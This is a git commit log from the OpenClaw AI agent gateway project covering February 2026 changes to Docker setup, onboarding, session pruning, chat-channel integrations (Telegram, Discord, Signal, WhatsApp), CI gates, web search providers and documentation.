* fix(docker): use Bash 3.2-compatible upsert_env in docker-setup.sh

* refactor(docker): simplify argument handling in write_extra_compose function

* fix(docker): add bash 3.2 regression coverage (#9441) (thanks @mateusz-michalik)

---------

Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-10 09:55:43 -05:00
Gustavo Madeira Santana
2914cb1d48 Onboard: rename Custom API Endpoint to Custom Provider 2026-02-10 07:36:04 -05:00
Blossom
c0befdee0b feat(onboard): add custom/local API configuration flow (#11106)
* feat(onboard): add custom/local API configuration flow

* ci: retry macos check

* fix: expand custom API onboarding (#11106) (thanks @MackDing)

* fix: refine custom endpoint detection (#11106) (thanks @MackDing)

* fix: streamline custom endpoint onboarding (#11106) (thanks @MackDing)

* fix: skip model picker for custom endpoint (#11106) (thanks @MackDing)

* fix: avoid allowlist picker for custom endpoint (#11106) (thanks @MackDing)

* Onboard: reuse shared fetch timeout helper (#11106) (thanks @MackDing)

* Onboard: clarify default base URL name (#11106) (thanks @MackDing)

---------

Co-authored-by: OpenClaw Contributor <contributor@openclaw.ai>
Co-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
2026-02-10 07:31:02 -05:00
max
8666d9f837 credits: categorize direct changes, exclude bots, fix MDX (#13322) 2026-02-10 02:27:48 -08:00
max
d2f5d45f08 fix(credits): deduplicate contributors by GitHub username and display name
* Scripts: add sync-credits.py to populate maintainers/contributors from git/GitHub

* fix(credits): deduplicate contributors by GitHub username and display name
2026-02-10 02:04:29 -08:00
vignesh07
53fd26a960 maintainers: mention QMD 2026-02-10 01:14:00 -08:00
vignesh07
d8b9aff2f5 update maintainers 2026-02-10 01:05:20 -08:00
quotentiroler
bf308cf6a8 CI: expand Docker Release paths-ignore to skip on any markdown 2026-02-10 00:39:26 -08:00
quotentiroler
57e60f5c05 Docs: consolidate maintainer PR workflow into PR_WORKFLOW.md 2026-02-10 00:33:24 -08:00
Vignesh Natarajan
8d80212f99 docs: credit memorySearch changelog 2026-02-10 00:21:27 -08:00
Vignesh Natarajan
a76dea0d23 Config: clarify memorySearch migration precedence 2026-02-10 00:21:27 -08:00
Vignesh Natarajan
8688730161 Config: migrate legacy top-level memorySearch 2026-02-10 00:21:27 -08:00
Vignesh Natarajan
efc79f69a2 Gateway: eager-init QMD backend on startup 2026-02-09 23:58:34 -08:00
Vignesh
ef4a0e92b7 fix(memory/qmd): scope query to managed collections (#11645) 2026-02-09 23:35:27 -08:00
quotentiroler
40919b1fc8 fix(test): add StringSelectMenu to @buape/carbon mock 2026-02-09 23:11:53 -08:00
Peter Steinberger
53273b490b fix(auto-reply): prevent sender spoofing in group prompts 2026-02-10 00:44:38 -06:00
Shadow
8ff1618bfc Discord: add exec approval cleanup option (#13205) 2026-02-10 00:39:42 -06:00
max
656a467518 CI: extend stale timelines to be contributor-friendly (#13209)
Extends stale automation timelines:

- Issues: 30 days stale → 14 days close (44 total, was 12)
- PRs: 14 days stale → 7 days close (21 total, was 8)

PR #13209
2026-02-09 22:34:36 -08:00
Shadow
4537ebc43a fix: enforce Discord agent component DM auth (#11254) (thanks @thedudeabidesai) 2026-02-10 00:26:59 -06:00
max
f17c978f5c refactor(security,config): split oversized files (#13182)
refactor(security,config): split oversized files using dot-naming convention

- audit-extra.ts (1,199 LOC) -> barrel (31) + sync (559) + async (668)
- schema.ts (1,114 LOC) -> schema (353) + field-metadata (729)
- Add tmp-refactoring-strategy.md documenting Wave 1-4 plan

PR #13182
2026-02-09 22:22:29 -08:00
Shadow
47f6bb4146 Commands: add commands.allowFrom config 2026-02-09 23:58:52 -06:00
Shadow
e7f0769c82 CI: configure stale automation 2026-02-09 23:37:12 -06:00
zerone0x
1d46ca3a95 fix(signal): enforce mention gating for group messages (#13124)
* fix(signal): enforce mention gating for group messages

Signal group messages bypassed mention gating, causing the bot to reply
even when requireMention was enabled and the message did not mention
the bot. This aligns Signal with Slack, Discord, Telegram, and iMessage
which all enforce mention gating correctly.

Fixes #13106

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(signal): keep pending history context for mention-gated skips (#13124) (thanks @zerone0x)

---------

Co-authored-by: Yansu <no-reply@yansu.ai>
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-09 23:19:07 -06:00
Marcus Castro
137b7d9aab fix(ui): prioritize displayName over label in webchat session picker (#13108)
* fix(ui): prioritize displayName over label in webchat session picker

The session picker dropdown in the webchat UI was showing raw session
keys instead of human-readable display names. resolveSessionDisplayName()
checked label before displayName and formatted displayName-based entries
as key (displayName) instead of displayName (key).

Swap the priority so displayName is checked first, and use a consistent
humanName (key) format for both displayName and label fallbacks.

Fixes #6645

* test: use deterministic updatedAt in session display name tests
2026-02-10 00:02:54 -05:00
Shadow
f38dfe4544 Chore: add testflight auto-response 2026-02-09 22:52:46 -06:00
Tak Hoffman
72f89b1f53 Docker: include A2UI sources for bundle (#13114)
* Docker: include A2UI sources for bundle

* Build: fail bundling when sources missing and no prebuilt A2UI bundle
2026-02-09 22:44:59 -06:00
Gustavo Madeira Santana
e19a23520c fix: unify session maintenance and cron run pruning (#13083)
* fix: prune stale session entries, cap entry count, and rotate sessions.json

The sessions.json file grows unbounded over time. Every heartbeat tick (default: 30m)
triggers multiple full rewrites, and session keys from groups, threads, and DMs
accumulate indefinitely with large embedded objects (skillsSnapshot,
systemPromptReport). At >50MB the synchronous JSON parse blocks the event loop,
causing Telegram webhook timeouts and effectively taking the bot down.

Three mitigations, all running inside saveSessionStoreUnlocked() on every write:

1. Prune stale entries: remove entries with updatedAt older than 30 days
   (configurable via session.maintenance.pruneDays in openclaw.json)

2. Cap entry count: keep only the 500 most recently updated entries
   (configurable via session.maintenance.maxEntries). Entries without updatedAt
   are evicted first.

3. File rotation: if the existing sessions.json exceeds 10MB before a write,
   rename it to sessions.json.bak.{timestamp} and keep only the 3 most recent
   backups (configurable via session.maintenance.rotateBytes).

All three thresholds are configurable under session.maintenance in openclaw.json
with Zod validation. No env vars.

Existing tests updated to use Date.now() instead of epoch-relative timestamps
(1, 2, 3) that would be incorrectly pruned as stale.

27 new tests covering pruning, capping, rotation, and integration scenarios.

* feat: auto-prune expired cron run sessions (#12289)

Add TTL-based reaper for isolated cron run sessions that accumulate
indefinitely in sessions.json.

New config option:
  cron.sessionRetention: string | false  (default: '24h')

The reaper runs piggy-backed on the cron timer tick, self-throttled
to sweep at most every 5 minutes. It removes session entries matching
the pattern cron:<jobId>:run:<uuid> whose updatedAt + retention < now.

Design follows the Kubernetes ttlSecondsAfterFinished pattern:
- Sessions are persisted normally (observability/debugging)
- A periodic reaper prunes expired entries
- Configurable retention with sensible default
- Set to false to disable pruning entirely

Files changed:
- src/config/types.cron.ts: Add sessionRetention to CronConfig
- src/config/zod-schema.ts: Add Zod validation for sessionRetention
- src/cron/session-reaper.ts: New reaper module (sweepCronRunSessions)
- src/cron/session-reaper.test.ts: 12 tests covering all paths
- src/cron/service/state.ts: Add cronConfig/sessionStorePath to deps
- src/cron/service/timer.ts: Wire reaper into onTimer tick
- src/gateway/server-cron.ts: Pass config and session store path to deps

Closes #12289

* fix: sweep cron session stores per agent

* docs: add changelog for session maintenance (#13083) (thanks @skyfallsin, @Glucksberg)

* fix: add warn-only session maintenance mode

* fix: warn-only maintenance defaults to active session

* fix: deliver maintenance warnings to active session

* docs: add session maintenance examples

* fix: accept duration and size maintenance thresholds

* refactor: share cron run session key check

* fix: format issues and replace defaultRuntime.warn with console.warn

---------

Co-authored-by: Pradeep Elankumaran <pradeepe@gmail.com>
Co-authored-by: Glucksberg <markuscontasul@gmail.com>
Co-authored-by: max <40643627+quotentiroler@users.noreply.github.com>
Co-authored-by: quotentiroler <max.nussbaumer@maxhealth.tech>
2026-02-09 20:42:35 -08:00
Jamieson O'Reilly
0657d7c772 docs: expand vulnerability reporting guidelines in SECURITY.md 2026-02-10 15:39:04 +11:00
Jamieson O'Reilly
b39669d1b4 docs: add vulnerability reporting guidelines to CONTRIBUTING.md 2026-02-10 15:39:04 +11:00
quotentiroler
a26670a2fb refactor: consolidate fetchWithTimeout into shared utility 2026-02-09 20:34:56 -08:00
Jake
757522fb48 fix(memory): default batch embeddings to off
Disables async batch embeddings by default for memory indexing; batch remains opt-in via agents.defaults.memorySearch.remote.batch.enabled.

(#13069) Thanks @mcinteerj.

Co-authored-by: Jake McInteer <mcinteerj@gmail.com>
2026-02-09 22:31:58 -06:00
quotentiroler
5c62e4d51b Improve code analyzer for independent packages, CI: only run release-check on push to main 2026-02-09 19:57:13 -08:00
Evan Reid
0c7bc303c9 fix(tools): correct Grok response parsing for xAI Responses API (#13049)
* fix(tools): correct Grok response parsing for xAI Responses API

The xAI Responses API returns content in output[0].content[0].text,
not in output_text field. Updated GrokSearchResponse type and
runGrokSearch to extract content from the correct path.

Fixes the 'No response' issue when using Grok web search.

* fix(tools): harden Grok web_search parsing (#13049) (thanks @ereid7)

---------

Co-authored-by: erai <erai@erais-Mac-mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-09 21:51:24 -06:00
quotentiroler
8fad4c2844 chore(deps): update dependencies, remove hono pinning 2026-02-09 19:35:37 -08:00
quotentiroler
cc87c0ed7c Update contributing, deduplicate more functions 2026-02-09 19:21:33 -08:00
quotentiroler
453eaed4dc improve pre-commit hook 2026-02-09 18:59:42 -08:00
quotentiroler
53910f3643 Deduplicate more 2026-02-09 18:56:58 -08:00
max
c4d9b6eadb fix: docs broken links and improve link checker (#13056)
* docs: fix broken links checker and add CI docs

- Replace buggy mint broken-links with existing docs:check-links script
- Fix zh-CN/vps.md broken links (/railway  /install/railway)
- Add docs/ci.md explaining CI pipeline
- Add Experiments group to docs.json navigation

* improve docs checker
2026-02-09 18:45:06 -08:00
Rami Abdelrazzaq
c2b2d535fb fix: suggest /clear in context overflow error message (#12973)
* fix: suggest /reset in context overflow error message

When the context window overflows, the error message now suggests
using /reset to clear session history, giving users an actionable
recovery path instead of a dead-end error.

Closes #12940

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: suggest /reset in context overflow error message (#12973) (thanks @RamiNoodle733)

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Rami Abdelrazzaq <RamiNoodle733@users.noreply.github.com>
2026-02-09 20:44:37 -06:00
Liu Yuan
33ee8bbf1d feat: add zai/glm-4.6v image understanding support (#10267)
Fixes #10265. Thanks @liuy.
2026-02-09 18:38:09 -08:00
Yida-Dev
d3c71875e4 fix: cap Discord gateway reconnect at 50 attempts to prevent infinite loop (#12230)
* fix: cap Discord gateway reconnect attempts to prevent infinite loop

The Discord GatewayPlugin was configured with maxAttempts: Infinity,
which causes an unbounded reconnection loop when the Discord gateway
enters a persistent failure state (e.g. code 1005 with stalled HELLO).

In production, this manifested as 2,483+ reconnection attempts in a
single log file, starving the Node.js event loop and preventing cron,
heartbeat, and other subsystems from functioning.

Cap maxAttempts at 50, which provides ~25 minutes of retry time
(with 30s HELLO timeout between attempts) before cleanly exiting
via the existing "Max reconnect attempts" error handler.

Closes #11836

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* Changelog: note Discord gateway reconnect cap (#12230) (thanks @Yida-Dev)

---------

Co-authored-by: Yida-Dev <reyifeijun@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Shadow <shadow@clawd.bot>
2026-02-09 20:36:43 -06:00
max
67d3bab890 docs: fix broken links checker and add CI docs (#13041)
- Fix zh-CN/vps.md broken links (/railway  /install/railway)
- Add docs/ci.md explaining CI pipeline
- Add Experiments group to docs.json navigation
2026-02-09 18:30:05 -08:00
magendary
ead3bb645f discord: auto-create thread when sending to Forum/Media channels (#12380)
* discord: auto-create thread when sending to Forum/Media channels

* Discord: harden forum thread sends (#12380) (thanks @magendary)

* fix: clean up discord send exports (#12380) (thanks @magendary)

---------

Co-authored-by: Shadow <shadow@clawd.bot>
2026-02-09 20:26:42 -06:00
quotentiroler
6d26ba3bb6 only check is check-docs when only docs changed 2026-02-09 18:05:13 -08:00
quotentiroler
59a4aaf376 Merge branch 'main' of https://github.com/openclaw/openclaw 2026-02-09 17:57:28 -08:00
quotentiroler
039aaf176e CI: cleanup and fix broken job references
- Fix code-size -> code-analysis job name (5 jobs had wrong dependency)
- Remove useless install-check job (was no-op)
- Add explicit docs_only guard to release-check
- Remove dead submodule checkout steps (no submodules in repo)
- Rename detect-docs-only -> detect-docs-changes, add docs_changed output
- Reorder check script: format first for faster fail
- Fix billing error test (PR #12946 removed fallback detection but not test)
2026-02-09 17:52:51 -08:00
Tak Hoffman
54315aeacf Agents: scope sanitizeUserFacingText rewrites to errorContext
Squash-merge #12988.

Refs: #12889 #12309 #3594 #7483 #10094 #10368 #11317 #11359 #11649 #12022 #12432 #12676 #12711
2026-02-09 19:52:24 -06:00
quotentiroler
64cf50dfc3 chore: rename format scripts for conventional naming
- format = fix (write)

- format:check = check only

- Update CI to use format:check
2026-02-09 17:11:16 -08:00
Shadow
8e607d927c Docs: require labeler + label updates for channels/extensions 2026-02-09 17:08:18 -08:00
max
8d75a496bf refactor: centralize isPlainObject, isRecord, isErrno, isLoopbackHost utilities (#12926) 2026-02-09 17:02:55 -08:00
Shadow
70f9edeec7 CI: check maintainer team membership for labels 2026-02-09 18:59:41 -06:00
Jabez Borja
8c73dbe705 fix(telegram): prevent false-positive billing error detection in conversation text (#12946) thanks @jabezborja 2026-02-09 19:49:31 -05:00
cpojer
49fb8f74e4 chore: Fix types after ChatType changes. 2026-02-10 09:20:39 +09:00
Yifeng Wang
5c2cb6c591 feat(feishu): sync community contributions from clawdbot-feishu (#12662)
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-10 09:19:44 +09:00
peetzweg/
49c60e9065 feat(matrix): add thread session isolation (#8241)
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-02-10 09:16:40 +09:00
George Pickett
a97db0c372 docs: add changelog entry for #9564 (#12963) 2026-02-09 16:11:52 -08:00
George Pickett
afec0f11f8 test: lock /think off persistence (#9564) 2026-02-09 16:08:15 -08:00
Liu Yuan
97b3ee7ec0 Fix: Honor /think off for reasoning-capable models
Problem:
When users execute `/think off`, they still receive `reasoning_content`
from models configured with `reasoning: true` (e.g., GLM-4.7, GLM-4.6,
Kimi K2.5, MiniMax-M2.1).

Expected: `/think off` should completely disable reasoning content.
Actual: Reasoning content is still returned.

Root Cause:
The directive handlers delete `sessionEntry.thinkingLevel` when user
executes `/think off`. This causes the thinking level to become undefined,
and the system falls back to `resolveThinkingDefault()`, which checks the
model catalog and returns "low" for reasoning-capable models, ignoring the
user's explicit intent.

Why We Must Persist "off" (Design Rationale):

1. **Model-dependent defaults**: Unlike other directives where "off" means
   use a global default, `thinkingLevel` has model-dependent defaults:
   - Reasoning-capable models (GLM-4.7, etc.) → default "low"
   - Other models → default "off"

2. **Existing pattern**: The codebase already follows this pattern for
   `elevatedLevel`, which persists "off" explicitly to override defaults
   that may be "on". The comment explains:
   "Persist 'off' explicitly so `/elevated off` actually overrides defaults."

3. **User intent**: When a user explicitly executes `/think off`, they want
   to disable thinking regardless of the model's capabilities. Deleting the
   field breaks this intent by falling back to the model's default.

Solution:
Persist "off" value instead of deleting the field in all internal directive handlers:
- `src/auto-reply/reply/directive-handling.impl.ts`: Directive-only messages
- `src/auto-reply/reply/directive-handling.persist.ts`: Inline directives
- `src/commands/agent.ts`: CLI command-line flags

Gateway API Backward Compatibility:
The original implementation incorrectly mapped `null` to "off" in
`sessions-patch.ts` for consistency with internal handlers. This was a
breaking change because:
- Previously, `null` cleared the override (deleted the field)
- API clients lost the ability to "clear to default" via `null`
- This contradicts standard JSON semantics where `null` means "no value"

Restored original null semantics in `src/gateway/sessions-patch.ts`:
- `null` → delete field, fall back to model default (clear override)
- `"off"` → persist explicit override
- Other values → normalize and persist

This ensures backward compatibility for API clients while fixing the `/think off`
issue in internal handlers.

Signed-off-by: Liu Yuan <namei.unix@gmail.com>
2026-02-09 16:08:15 -08:00
cpojer
fa21050af0 chore: Update deps. 2026-02-10 08:52:07 +09:00
Riccardo Giorato
661279cbfa feat: adding support for Together ai provider (#10304) 2026-02-10 08:49:34 +09:00
quotentiroler
ffeed212dc ci(docker): use registry cache for persistent layer storage 2026-02-09 15:05:37 -08:00
Tak Hoffman
4df252d895 Gateway: add CLAUDE.md symlink for AGENTS.md 2026-02-09 17:02:55 -06:00
Tak Hoffman
2f9014c6ff AGENTS: require CLAUDE.md symlink alongside new AGENTS.md 2026-02-09 17:02:55 -06:00
Rodrigo Uroz
ae99e656af (fix): .env vars not available during runtime config reloads (healthchecks fail with MissingEnvVarError) (#12748)
* Config: reload dotenv before env substitution on runtime loads

* Test: isolate config env var regression from host state env

* fix: keep dotenv vars resolvable on runtime config reloads (#12748) (thanks @rodrigouroz)

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-09 16:31:41 -06:00
quotentiroler
b40a7771e5 ci: imprpove warning for size check 2026-02-09 14:30:36 -08:00
quotentiroler
a172ff9ed2 docs: SEO and AI discoverability improvements
- Add description to docs.json for llms.txt blockquote summary
- Add title frontmatter to 10 docs files for llms.txt link text
- ci(docker): skip builds for docs-only changes
2026-02-09 14:20:56 -08:00
quotentiroler
e4a04f32e3 docs: add ci.md to Contributing navigation 2026-02-09 14:01:28 -08:00
Sk Akram
1cee5135e4 fix: preserve original filename for WhatsApp inbound documents (#12691)
* fix: preserve original filename for WhatsApp inbound documents

* fix: cover WhatsApp document filenames (#12691) (thanks @akramcodez)

* test: streamline inbound media waits (#12691) (thanks @akramcodez)

---------

Co-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
2026-02-09 16:56:19 -05:00
quotentiroler
1074d13e4e Improve flagging in code analyzer 2026-02-09 13:41:36 -08:00
quotentiroler
1fad19008e fix: improve code-size gate output and duplicate detection, fix Windows path in source-display 2026-02-09 13:18:51 -08:00
max
65dae9a088 ci: add SwiftPM cache, fix Mintlify frontmatter (#12863)
* ci: add SwiftPM cache to macOS job, fix action description

* ci: fix frontmatter, remove DerivedData cache
2026-02-09 12:40:58 -08:00
quotentiroler
0b7e561434 ci: split format/lint into tiered gates with shared setup action 2026-02-09 12:24:11 -08:00
quotentiroler
dd25b96d0b ci: make code-size depend on checks-lint 2026-02-09 12:14:57 -08:00
quotentiroler
715e8b5440 ci: lint/format failures also block heavy jobs 2026-02-09 11:54:37 -08:00
quotentiroler
57a598c013 feat(ci): code-size gates heavy jobs, re-enable --strict 2026-02-09 11:53:29 -08:00
quotentiroler
de8eb2b29c feat(ci): also flag already-large files that grew larger 2026-02-09 11:51:51 -08:00
max
50b3d32d3c CI: add code-size check for files crossing LOC threshold (#12810)
* CI: add code-size check for files crossing LOC threshold

* feat(ci): add duplicate function detection to CI code-size check

The --compare-to mode now also detects new duplicate function names
introduced by a PR. Uses git diff to scope checks to changed files
only, keeping CI fast.

* fix(ci): address review feedback for code-size check

- Validate git ref upfront; exit 2 if ref doesn't exist
- Distinguish 'file missing at ref' from genuine git errors
- Explicitly fetch base branch ref in CI workflow
- Raise threshold from 700 to 1000 lines

* fix(ci): exclude Swabble, skills, .pi from code analysis

* update gitignore for pycache

* ci: make code-size check informational (no failure on violations)
2026-02-09 11:34:18 -08:00
Peter Steinberger
268094938b fix: reduce brew noise in onboarding 2026-02-09 13:27:21 -06:00
Peter Steinberger
9a765c9fb4 chore(mac): update appcast for 2026.2.9 2026-02-09 13:23:44 -06:00
max
ce71c7326c chore: add tsconfig.test.json for type-checking test files (#12828)
Adds a separate tsconfig that includes only *.test.ts files (which the main
tsconfig excludes). Available via 'pnpm tsgo:test' for incremental cleanup.

Not yet wired into 'pnpm check'  there are ~2.8k pre-existing errors in
test files that need to be fixed incrementally first.
2026-02-09 11:16:19 -08:00
Seb Slight
ec55583bb7 fix: align extension tests and fetch typing for gate stability (#12816) 2026-02-09 11:12:07 -08:00
Peter Steinberger
3e63b2a4fa fix(cli): improve plugins list source display 2026-02-09 13:05:48 -06:00
Peter Steinberger
33c75cb6bf chore(extensions): mark bundled packages private 2026-02-09 12:59:06 -06:00
Peter Steinberger
394d60c1fb fix(onboarding): auto-install shell completion in QuickStart 2026-02-09 12:56:12 -06:00
Chase Dorsey
512b2053c5 fix(web_search): Fix invalid model name sent to Perplexity (#12795)
* fix(web_search): Fix invalid model name sent to Perplexity

* chore: Only apply fix to direct Perplexity calls

* fix(web_search): normalize direct Perplexity model IDs

* fix: add changelog note for perplexity model normalization (#12795) (thanks @cdorsey)

* fix: align tests and fetch type for gate stability (#12795) (thanks @cdorsey)

* chore: keep #12795 scoped to web_search changes

---------

Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-09 13:43:57 -05:00
max
40b11db80e TypeScript: add extensions to tsconfig and fix type errors (#12781)
* TypeScript: add extensions to tsconfig and fix type errors

- Add extensions/**/* to tsconfig.json includes
- Export ProviderAuthResult, AnyAgentTool from plugin-sdk
- Fix optional chaining for messageActions across channels
- Add missing type imports (MSTeamsConfig, GroupPolicy, etc.)
- Add type annotations for provider auth handlers
- Fix undici/fetch type compatibility in zalo proxy
- Correct ChannelAccountSnapshot property usage
- Add type casts for tool registrations
- Extract usage view styles and types to separate files

* TypeScript: fix optional debug calls and handleAction guards
2026-02-09 10:05:38 -08:00
Peter Steinberger
2e4334c32c test(auth): cover key normalization 2026-02-09 11:58:18 -06:00
Peter Steinberger
e3ff844bdc docs(changelog): credit human for #11646 2026-02-09 11:51:39 -06:00
Peter Steinberger
d311152a7d docs(changelog): reorder 2026.2.9 for end users 2026-02-09 11:42:24 -06:00
Ayaan Zaidi
5d4f42016f chore(changelog): note Telegram DM allowFrom sender-id fix (#12779) (thanks @liuxiaopai-ai) 2026-02-09 22:59:47 +05:30
Ayaan Zaidi
a77afe618d fix(telegram): add DM allowFrom regression tests 2026-02-09 22:59:47 +05:30
Mark Liu
29425e27e5 fix(telegram): match DM allowFrom against sender user id
Telegram DM access-control incorrectly used chatId as the allowFrom match key.

For DMs, allowFrom entries are typically Telegram user ids (msg.from.id) and/or @usernames. Using chatId causes legitimate DMs to be rejected or silently dropped even when dmPolicy is open/allowlist.

This change matches allowFrom against the sender's user id when available, falling back to chatId only if msg.from.id is missing.

Tests: existing telegram DM/thread routing tests pass.

Closes #4515
2026-02-09 22:59:47 +05:30
Peter Steinberger
c6e142f22e docs(changelog): add 2026.2.9 auth fix 2026-02-09 11:27:10 -06:00
Peter Steinberger
3626b07bea docs: fix ja-JP dashboard URL link 2026-02-09 11:26:27 -06:00
Peter Steinberger
42a07791c4 fix(auth): strip line breaks from pasted keys 2026-02-09 11:26:27 -06:00
Peter Steinberger
fb8c653f53 chore(release): 2026.2.9 2026-02-09 11:19:07 -06:00
Hudson Rivera
588d7133f5 fix(docs): correct wake command in coding-agent skill (#10516)
The skill documented `openclaw gateway wake --text ... --mode now` which
is not a valid subcommand. The correct command is
`openclaw system event --text ... --mode now`.

Fixes #10515.
2026-02-09 12:18:20 -05:00
Denis Rybnikov
582732391a fix(telegram): avoid nested reply quote misclassification 2026-02-09 22:43:29 +05:30
Denis Rybnikov
b430998c2f fix(telegram): clean tsgo/format regressions 2026-02-09 22:43:29 +05:30
Denis Rybnikov
1c1d7fa0e5 fix(telegram): make quote parsing/types CI-safe 2026-02-09 22:43:29 +05:30
Denis Rybnikov
a4b38ce886 fix(telegram): preserve inbound quote context and avoid QUOTE_TEXT_INVALID 2026-02-09 22:43:29 +05:30
Ayaan Zaidi
727a390d13 fix: add telegram command-cap regression test (#12356) (thanks @arosstale) 2026-02-09 22:27:03 +05:30
Claude Code
a656dcc199 fix(telegram): truncate commands to 100 to avoid BOT_COMMANDS_TOO_MUCH
Telegram Bot API limits setMyCommands to 100 commands per scope. When
users have many skills installed (~15+), the combined native + plugin +
custom commands can exceed this limit, causing a 400 error on every
gateway restart.

Truncate the command list to 100 (native commands first, then plugins,
then custom) and log a warning instead of failing the registration.

Fixes #11567
2026-02-09 22:27:03 +05:30
Seb Slight
0768fc65d2 docs(subagents): simplify page and verify behavior/examples (#12761)
* docs(subagents): rewrite page for clarity with examples and Mintlify components

- Add Quick Start section with natural language usage examples
- Add step-by-step How It Works using <Steps> component
- Break configuration into focused subsections with code examples
- Add proper parameters table for sessions_spawn tool
- Document model resolution order (verified against codebase)
- Add interactive /subagents command examples in <AccordionGroup>
- Fix inaccurate tool deny list: document all 11 denied tools (was 4)
- Use <Tip>, <Note>, <Warning>, <Accordion> components throughout
- Add cross-agent spawning config example
- Add full configuration example in collapsible accordion
- Add See Also links to related pages
- All information preserved or verified against codebase

* docs(subagents): correct behavior and config defaults

- Fix model/thinking defaults to match runtime behavior
- Clarify model and thinking resolution order for sessions_spawn
- Remove incorrect claim that announce runs in child session
- Replace ANNOUNCE_SKIP note with NO_REPLY behavior
- Align announce status wording with runtime outcomes

* docs(subagents): clarify NO_REPLY vs ANNOUNCE_SKIP (#12761) (thanks @sebslight)
2026-02-09 11:50:53 -05:00
Xu Haoran
0efaf5aa82 chore: Update .gitignore (#12427)
Added:
.tsbuildinfo - TypeScript build info cache
Android build artifacts:
apps/android/.gradle/
apps/android/app/build/
apps/android/.cxx/

Removed (duplicates):
Duplicate .env entry
Duplicate apps/ios/fastlane/report.xml
2026-02-09 10:25:58 -06:00
Seb Slight
6397e53f3a Delete README-header.png (warelay) 2026-02-09 10:32:35 -05:00
Suvin Nimnaka
24e9b23c4a Replace text diagrams with mermaid (#7165)
* Replace text diagrams with mermaid

* Fix review comments

* Remove newlines

* docs: fix mermaid prep blockers (#7165)

---------

Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-09 10:27:27 -05:00
Victor Castell
9f4466c116 Simplify ownership commands in hetzner.md (#12703)
* Simplify ownership commands in hetzner.md

Removed redundant chown command for workspace directory.

* Add --allow-unconfigured option to Hetzner config

Container won't start unless allow-unconfigured is set

* docs: clarify hetzner bootstrap caveat (#12703) (thanks @vcastellm)

---------

Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-09 10:02:54 -05:00
Seb Slight
9050a94a0f docs(skills): allow docs-only prep to skip pnpm test (#12718) 2026-02-09 09:55:46 -05:00
max
79c2466662 refactor: consolidate throwIfAborted + fix isCompactionFailureError (#12463)
* refactor: consolidate throwIfAborted in outbound module

- Create abort.ts with shared throwIfAborted helper

- Update deliver.ts, message-action-runner.ts, outbound-send-service.ts

* fix: handle context overflow in isCompactionFailureError without requiring colon
2026-02-09 00:32:57 -08:00
max
f0924d3c4e refactor: consolidate PNG encoder and safeParseJson utilities (#12457)
- Create shared PNG encoder module (src/media/png-encode.ts)

- Refactor qr-image.ts and live-image-probe.ts to use shared encoder

- Add safeParseJson to utils.ts and plugin-sdk exports

- Update msteams and pairing-store to use centralized safeParseJson
2026-02-09 00:21:54 -08:00
Mariano
5acb1e3c52 Tests: trim timezone in envelope timestamp helper (#12446) 2026-02-09 09:04:54 +01:00
max
ec910a235e refactor: consolidate duplicate utility functions (#12439)
* refactor: consolidate duplicate utility functions

- Add escapeRegExp to src/utils.ts and remove 10 local duplicates
- Rename bash-tools clampNumber to clampWithDefault (different signature)
- Centralize formatError calls to use formatErrorMessage from infra/errors.ts
- Re-export formatErrorMessage from cli/cli-utils.ts to preserve API

* refactor: consolidate remaining escapeRegExp duplicates

* refactor: consolidate sleep, stripAnsi, and clamp duplicates
2026-02-08 23:59:43 -08:00
Mariano
8968d9a339 Auto-reply: include weekday in envelope timestamps (#12438) 2026-02-09 08:55:50 +01:00
Tyler Yust
e4651d6afa Memory/QMD: reuse default model cache and skip ENOENT warnings (#12114)
* Memory/QMD: symlink default model cache into custom XDG_CACHE_HOME

QmdMemoryManager overrides XDG_CACHE_HOME to isolate the qmd index
per-agent, but this also moves where qmd looks for its ML models
(~2.1GB). Since models are installed at the default location
(~/.cache/qmd/models/), every qmd invocation would attempt to
re-download them from HuggingFace and time out.

Fix: on initialization, symlink ~/.cache/qmd/models/ into the custom
XDG_CACHE_HOME path so the index stays isolated per-agent while the
shared models are reused. The symlink is only created when the default
models directory exists and the target path does not already exist.

Includes tests for the three key scenarios: symlink creation, existing
directory preservation, and graceful skip when no default models exist.

* Memory/QMD: skip model symlink warning on ENOENT

* test: stabilize warning-filter visibility assertion (#12114) (thanks @tyler6204)

* fix: add changelog entry for QMD cache reuse (#12114) (thanks @tyler6204)

* fix: handle plain context-overflow strings in compaction detection (#12114) (thanks @tyler6204)
2026-02-08 23:43:08 -08:00
Stephen Brian King
c984e6d8df fix: prevent false positive context overflow detection in conversation text (#2078) 2026-02-08 23:22:57 -08:00
Oren
71b4be8799 fix: handle 400 status in failover to enable model fallback (#1879) 2026-02-08 23:12:06 -08:00
CLAWDINATOR Bot
5e55a181b7 docs: add changelog entry for Grok web_search 2026-02-09 07:11:33 +00:00
Trevin Chow
5f2ad938aa fix(tools): include provider-specific settings in web search cache key 2026-02-09 07:11:33 +00:00
Trevin Chow
a6cab10976 fix(tools): correct docs URL and pass inlineCitations for Grok 2026-02-09 07:11:33 +00:00
Trevin Chow
139d70e2a9 feat(tools): add Grok (xAI) as web_search provider
Add xAI's Grok as a new web_search provider alongside Brave and Perplexity.
Uses the xAI /v1/responses API with tools: [{type: "web_search"}].

Configuration:
- tools.web.search.provider: "grok"
- tools.web.search.grok.apiKey or XAI_API_KEY env var
- tools.web.search.grok.model (default: grok-4-1-fast)
- tools.web.search.grok.inlineCitations (optional, embeds markdown links)

Returns AI-synthesized answers with citations similar to Perplexity.
2026-02-09 07:11:33 +00:00
Tyler Yust
07375a65d8 fix(cron): recover flat params when LLM omits job wrapper (#12124)
